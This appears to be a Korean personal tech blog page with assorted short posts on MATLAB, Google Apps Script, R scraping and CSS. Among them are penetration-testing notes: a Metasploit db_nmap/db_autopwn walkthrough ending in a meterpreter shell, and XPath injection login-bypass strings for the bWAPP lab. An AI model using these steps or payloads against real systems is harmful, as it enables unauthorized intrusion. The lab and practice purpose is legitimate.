- 보기 모드
- '플래닝 보기' 페이지에 링크 추가
2. mashup 페이지 제작
- 최근 게시글 출력(자신글, 관련글)
melfb.m
function m = melfb(p, n, fs)
p=9;
n=2048;
fs=2000;
f0 = 700 / fs;
fn2 = floor(n/2);
lr = log(1 + 0.5/f0) / (p+1);
% convert to fft bin numbers with 0 for DC term
bl = n * (f0 * (exp([0 1 p p+1] * lr) - 1));
b1 = floor(bl(1)) + 1;
b2 = ceil(bl(2));
b3 = floor(bl(3));
b4 = min(fn2, ceil(bl(4))) - 1;
pf = log(1 + (b1:b4)/n/f0) / lr;
fp = floor(pf);
pm = pf - fp;
r = [fp(b2:b4) 1+fp(1:b3)];
c = [b2:b4 1:b3] + 1;
v = 2 * [1-pm(b2:b4) pm(1:b3)];
m = sparse(r, c, v, p, 1+fn2);
size_m = size(m);
plot(linspace(0, (fs/2), (n/2)+1),m);
%title('Mel-scale filter bank');
xlabel('Frequency (Hz)');
set(get(gca,'xlabel'),'FontSize',20);
ylabel('Amplitude');
set(get(gca,'ylabel'),'FontSize',20);
set(gca, 'XTick',[0:100:2000], 'XTickLabel',[0:100:1000],'fontsize',20);
set(gca, 'YTick',[0:1:2], 'YTickLabel',[0:1:2],'fontsize',20);
터보코드
[구글핏] fitnees API 를 이용한 구글 스프레드시트로 데이터 가져오기
https://ithoughthecamewithyou.com/post/export-google-fit-daily-steps-to-a-google-sheet
위 사이트를 참고해 진행한다.
1) 일단 코드를 다운로드 하고, API 콘솔을 이용해 https://console.cloud.google.com/apis 새로운 프로젝트를 만든다.(기존 프로젝트 이용 가능)
2) API 및 서비스 사용 설정에서 fitnees API 를 활성화 시킨다.
3) 사용자 인증정보에서 사용자 인증 정보 만들기를 선택한다.
4) OAuth 클라이언트 ID를 선택하고 애플리케이션 유형을 웹 애플리케이션으로 한다.
5) 이름을 "GF" 등으로 설정하고 승인된 리디렉션 URI 에 https://script.google.com/macros/d/{SCRIPTID}/usercallback 를 입력한다.
6) {SCRIPTID} 를 입력하기 위해 구글 드라이브에서 스프레드시트를 만들고, 스크립트 편집기를 열어 1)의 코드를 저장한 뒤, URL으 확인한다.
7) URL에 나온 스크립트 경로가 {SCRIPTID} 이다.
8) OAuth 클라이언트 ID 만들기를 선택하면 6)에서 저장한 코드에 Client ID, Client Secret을 입력할 수 있는 클라이언트 ID, 클라이언트 보안 비밀은 얻을 수 있다.
9) 저장이 끝나면 시트를 새로고침하여 OnOpen 함수가 자동 동작하도록 하여 Google Fit 메뉴를 확인한다.
10) Authorize...... 를 시작으로 시트이름을 "Metrics"{History}으로 수정하여 구글 피트니스에 저장된 데이터를 가져올 수 있다.
코드를 보면 사용하는 시트이름이 다음과 같다. 두 개의 시트를 생성하여 AppendRow null 오류를 방지한다.
function getMetrics() {
getMetricsForDays(1, 1, 'Metrics');
}
function getHistory() {
getMetricsForDays(1, 60, 'History');
}
[WCAG] 플래시 대체 텍스트
[PPT] 파워포인트 전체 페이지 넣는 VBA 스크립트
[XML] Dublin Core(DC)
Dublin Core 15개 데이터 요소 | ||
콘텐츠 기술(내용) 요소 | 지적속성요소 | 물리적 기술(구현)요소 |
Title(표제) Subject(주제) Description(설명) Source(출전) Language(언어) Relation(관련자료) Coverage(내용범위) | Creator(제작자) Publisher(발행처) Contributor(기타제작자) Right(이용조건) | Date(발행일자) Type(자료유형) Format(형식) Identifier(식별자) |
[Tip] Windows NT/2000/XP/2003/Vista 비밀번호 분실 해제
[TF] 파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자
도서 [파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자] 에 나온 예제를 실행해 봤다.
현재기준으로 아나콘다 3을 설치하면 python 3.8.x 가 설치되며, python path를 설정해야 제대로 실행 가능하다.
기존 2.7, 3.5 가 설치된 환경이라 여러 버전이 섞여서 다양한(?) 에러를 발생시켰다.
시스템 환경변수에 아래를 등록한다.
PYTHONPATH
c:\programdata\anaconda3;c:\programdata\anaconda3\Lib;c:\programdata\anaconda3\DLLs;c:\programdata\anaconda3\libs;c:\programdata\anaconda3\Scripts;c:\programdata\anaconda3\bin
알수 없는 오류 (set_session, get_default_graph())에 대해 대략 아래와 같이 수정하여 아웃풋을 얻었다.
[networks.py]
23 from tensorflow.keras.backend import set_session -> from tensorflow.keras.backend import clear_session
25 graph = tf.get_default_graph() -> graph = tf.compat.v1.get_default_graph()
시간이 지나면 각종 로그와 그림에 대해 이해하게 되겠지.
[backtrack] msrpc 135 파일 및 프린터 공유 취약점
[backtrack] 무작위 공격 툴 medusa 사용법
[backtrack] autopwn 을 이용한 자동 공격
backtrack 4를 설치하거나, image를 받아서 실행시킨다.
backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,
# /etc/init.d/networking start
자동으로 실행시키려면, .bash_profile에 등록 한다.
# vi /root/.bash_profile
/etc/init.d/networking start
이젠 autopwn을 사용할 차례다.
# msfconsole
msf > db_status
[*] postgresql selected, no connection
라고 나온다.
그러면, 사용할 수 있는 db를 알아보기 위해
msf > db_driver
[*] Active Driver: postgresql
[*] Available: postgresql, mysql, sqlite3
mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create client
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-] The database and schema will be created automatically by
[-] db_connect. If db_connect fails to create the database, create
[-] it manually with your DBMS's administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: client
msf > db_status
[*] sqlite3 connected to client
위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.
msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT
Nmap scan report for xxx.xxx.xxx.xxx
Host is up (0.015s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)
111/tcp open rpcbind 2 (rpc #100000)
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1723/tcp filtered pptp
2869/tcp filtered icslap
3306/tcp open mysql MySQL (unauthorized)
4444/tcp filtered krb524
Device type: general purpose
Running: Apple Mac OS X 10.5.X
OS details: Apple Mac OS X 10.5.5 (Leopard)
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds
msf > db_autopwn -p -e -t
[*] Analysis completed in 9 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] xxx.xxx.xxx.xxx:111 exploit/netware/sunrpc/pkernel_callit (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/oscommerce_filemanager (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/lotus/domino_http_accept_language (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/iis/ms02_018_htr (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/base_qry_common (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/http/trendmicro_officescan (port match)
음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.
http://www.youtube.com/watch?v=VXmE0QycUd8
나머지는 동영상을 참조 한다.
성공하면 아래와 같이 콘솔로 접근할 수 있다.
sessions -l
session -i 1
meterpreter > execute -f cmd.exe -H -i
c:WINDOWSsystem32>
[Vision API] 구글 드라이브 이미지 파일 리사이징 후 Vision API 사용
라이브러리 : 1B7FSrk5Zi6L1rSxxTDgDEUsPzlukDsi4KGuTMorsTQHhGBzBkMun4iDF 로 추가(OAuth2)
고급 구글 서비스 : Drive API
행아웃 채트 API 활성화
CLOUD VISION API 는 이미지를 식별해 주는데, 구글 드라이브에 업로드 된 파일은 경로 참조로 가져오기가 되지 않는다.
base64로 변환 후 사용 가능하다.
function test(){//vision api 테스트
var fileurl="구글 드라이브 이미지 파일 경로";
var data1 = JSON.parse(makeRequest(fileurl));
//data.responses[0].webDetection.bestGuessLabels[0].label, data.responses[0].webDetection.webEntities[0].description 을 추출하여 사용
Logger.log(data1.responses[0].webDetection);
}
function buildJSONRequestImgBase64(val) {//base64 인코딩 및 json 메시지 생성
var file = DriveApp.getFileById(val);
var data1 = Utilities.base64Encode(file.getBlob().getBytes());
return JSON.stringify({
requests: [{
image: {
content:data1
},
features: [{
type: "WEB_DETECTION",
maxResults: 1
}]
}]
});
}
var APIKey = 'Your key';
function makeRequest(b64) {// Make a POST request to Vision API with a JSON payload.
var visionApiUrl = 'https://vision.googleapis.com/v1/images:annotate?key=' + APIKey;
var JSON_REQ = buildJSONRequestImgBase64(b64);
var options = {
'method': 'post',
'contentType': 'application/json',
'payload': JSON_REQ
};
var response = UrlFetchApp.fetch(visionApiUrl, options);
return response.getContentText();
}
//행아웃 채팅으로 봇이 받은 이미지를 리사이징하여 저장한다.
function uploadAttachmentToDrive(attachment, folderId, fileName){//행아웃 채팅으로 받은 이미지 파일 처리 구글 드라이브로 업로드 및 썸네일 생성
var resourceName = attachment[0].attachmentDataRef.resourceName;
var blob = "";
var url = "https://chat.googleapis.com/v1/media/" + resourceName + "?alt=media"
var service = getOAuth2Service();
var response = UrlFetchApp.fetch(url, {
headers: {
'Authorization': 'Bearer ' + service.getAccessToken(),
},
'muteHttpExceptions': true,
});
if (response.getResponseCode() != 200) {
return url;
}
blob = response.getBlob();
var folder = DriveApp.getFolderById(folderId);
var uploadFile = folder.createFile(blob);
uploadFile.setName(fileName);
var width = 800;
var link = Drive.Files.get(uploadFile.getId()).thumbnailLink.replace(/\=s.+/, "=s" + width);
var blob2 = UrlFetchApp.fetch(link).getBlob().setName(fileName+"_t");
var file = folder.createFile(blob2);
return file.getId();
}
function onMessage(event) {
if(event.message.attachment != null){
var fileurl = uploadAttachmentToDrive(event.message.attachment,"폴더명",Utilities.formatDate(dt, "GMT+9", "YYYY.MM.dd HH:mm:ss"));
}
function getOAuth2Service() {
var serviceAccountPriveKey = '-----BEGIN PRIVATE KEY----------END PRIVATE KEY-----\n';
var serviceAccountClientEmail = '~gserviceaccount.com';
var scope = 'https://www.googleapis.com/auth/chat.bot';
var service = OAuth2.createService('Vote bot')
.setTokenUrl('https://accounts.google.com/o/oauth2/token')
.setPrivateKey(serviceAccountPriveKey)
.setClientId(serviceAccountClientEmail)
.setScope(scope);
if (!service.hasAccess()) {
console.log('Authentication error: %s', service.getLastError());
return;
}
return service;
}
[R] 구글 플레이스토어 리뷰 수집
json 등으로 제공되지 않기 때문에, html 을 직접 크롤링해야 하는데, 더보기 버튼 등이 있고, 유용성 순서로 정렬이 기본이므로 제약이 많다.
https://blog.naver.com/PostView.nhn?blogId=nife0719&logNo=221329685115&parentCategoryNo=&categoryNo=30&viewDate=&isShowPopularPosts=false&from=postView
에서 제공되는 소스를 조금 고쳐서 전체를 다 수집하지 않고, 최근 것 일부만 수집하도록 한다.
리뷰가 너무 많을 경우 30분이 넘어가는 일이 발생하므로 다음과 같이 수정하였다.
다음을 실행하기 위해서는, r을 다운로드하여 설치하고 https://cran.r-project.org/bin/windows/base/
콘솔에서 관련 라이브러리를 설치한다. 아래 코드는 적당한 이름으로 저장하여 불러오기 후 전체 실행하면 된다.
(예제 앱은 스마트 헌혈 임)
install.packages("rvest")
install.packages("httr")
install.packages("stringr")
install.packages("RSelenium")
[다음]
library(rvest)
library(RSelenium)
library(httr)
library(stringr)
ch=wdman::chrome(port=4444L) #크롬드라이버를 포트
remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4444L, browserName = "chrome")
remDr$open() #크롬 Open
remDr$navigate("https://play.google.com/store/apps/details?id=net.bloodinfo.smartapp&showAllReviews=true") #설정 URL로 이동
webElem <- remDr$findElement("css", "body")
webElem$sendKeysToElement(list(key = "end"))
# webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc') #버튼 element 찾기
# remDr$mouseMoveToLocation(webElement = webElemButton) #해당 버튼으로 포인터 이동
flag <- TRUE
endCnt <- 0
while (flag) {
Sys.sleep(10)
webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')
if(length(webElemButton)==1){
endCnt <- 0
webElem$sendKeysToElement(list(key = "home"))
webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')
remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #해당 버튼으로 포인터 이동
remDr$click()
webElem$sendKeysToElement(list(key = "end"))
flag <- FALSE #추가한 부분
}else{
if(endCnt>3){
flag <- FALSE
}else{
endCnt <- endCnt + 1
}
}
}
frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기
reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>% html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기
reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>% html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기
reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>% html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기
reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)
write.csv(reviewData, paste0("net.bloodinfo.smartapp(",nrow(reviewData),").csv"))
remDr$close()
[bWAPP] XML/XPath Injection (Login Form)
A1 - Injection
XML/XPath Injection (Login Form)
로그인 ID, PW 에 ' or '1'='1 을 넣으면 된다.
selene, Thor, johnny, wolverine, alice
wolverine' or 'a'='a--
[R] 구글 플레이스토어 리뷰 별점까지 수집
도커에 타임존을 변경해서 실행한다.
sudo docker run -v /etc/localtime:/etc/localtime:ro -p 4445:4444 selenium/standalone-chrome &
sudo docker ps -a
sudo docker exec -it 911cca8e9f44 /bin/bash
seluser@911cca8e9f44:/$ date
Fri Apr 19 11:31:47 KST 2019
Rscript로 실행할 때는 library를 주석처리하고
Rscript --default-packages=methods,utils,httr,stringr,rvest,RSelenium 파일명.r
으로 실행한다.
library(rvest)
library(RSelenium)
library(httr)
library(stringr)
remDr <- remoteDriver(port = 4445L, browserName = "chrome")
remDr$open() #크롬 Open
remDr$navigate("https://play.google.com/store/apps/details?id={패키지명}&showAllReviews=true&hl=ko") #설정 URL로 이동
webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[1]/div[1]/div[3]/content")
remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장
remDr$click()
Sys.sleep(1)
webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[2]/div[1]")
remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택
remDr$click()
Sys.sleep(10)
frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기
reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>% html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기
reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>% html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기
reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>% html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기
reviewStars <- read_html(frontPage[[1]]) %>% html_nodes('.nt2C1d') %>% html_nodes('.pf5lIe') %>% html_children() %>% html_attr("aria-label") #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기
reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments, stars=reviewStars)
write.csv(reviewData, "sh.csv")
remDr$close()
https://stat4701.github.io/edav/2015/04/02/rvest_tutorial/
[slack] bot 을 이용한 메시지 보내기
browse Apps -> Custom Integrations -> Bots 에서
bot을 추가하여 이름 정도만 설정하면 access-token을 받을 수 있다.
xoxb 로 시작하는 token을 넣은 뒤 아래와 같은 php 소스로 메시지 전송이 가능하다.
<?php
$cont="#".$_GET["channel"];
echo slack($_GET["cont"],$cont);
function slack($message, $channel)
{
$ch = curl_init("https://slack.com/api/chat.postMessage");
$data = http_build_query([
"token" => "xoxb-~~~",
"channel" => $channel, //"#general",
"text" => $message, //"Hello, Foo-Bar channel message.",
"username" => "MySlackBot",
]);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
?>
[awesome table] CSS 적용하기
구글 awesome table 기본 css 는 처음에 깔끔하긴 하지만, 역시 동일하게 적용하면 기술적으로 복사해서만 구현한 것 같다.
이를테면, XE 기본 템플릿, 전자정부프레임워크의 기본 스타일로 적용된 페이지는 노력이 덜 들어간 느낌이다.
구글도 이를 인지했는지, 어렵지만, CSS 를 적용하는 방법을 지원한다.
개인적으로 사용한 것은 필터 부분의 버튼 색을 흰색으로 바꾸고 크기를 줄인 것이다.
기본 테이블 헤더의 정렬과, 내용(td) 부분 정렬 방식을 지정하여, 조금 더 출력이 일괄 가운데 정렬보다는 심혈을 기울인 듯한 모습을 보인다.
* awesome table gadget 의 4번째 탭(Advenced Parameter)의 templates range 에서 영역을 설정하고, 1행은 <style> 이라고 하면 된다.(해당 내용은 여기서 다루지 않음)
.awt-vis-controls-csvFilter .awt-csvFilter-button {background:#ffffff;}
.google-visualization-table-table th {text-align:center;}
.google-visualization-table-table td {padding-left:12pt;text-align:justify;max-width:150px;}
.awt-vis-controls-csvFilter .awt-csvFilter-dropdown-menu {min-width:100px;}
.awt-vis-controls-csvFilter .awt-csvFilter {min-width:100px;}
추가적으로 전체 헤더 색을 지정하는 부분이다. 원래는 회색인데, 푸른색 계열로 적용하면 hover 색이랑 약간 비슷하긴 하지만, 통일감도 있고, 흑백 느낌을 줄여준다.
.google-visualization-table-table .gradient,
.google-visualization-table-div-page .gradient {
background: #82b6f7 !important;
}
댓글 달기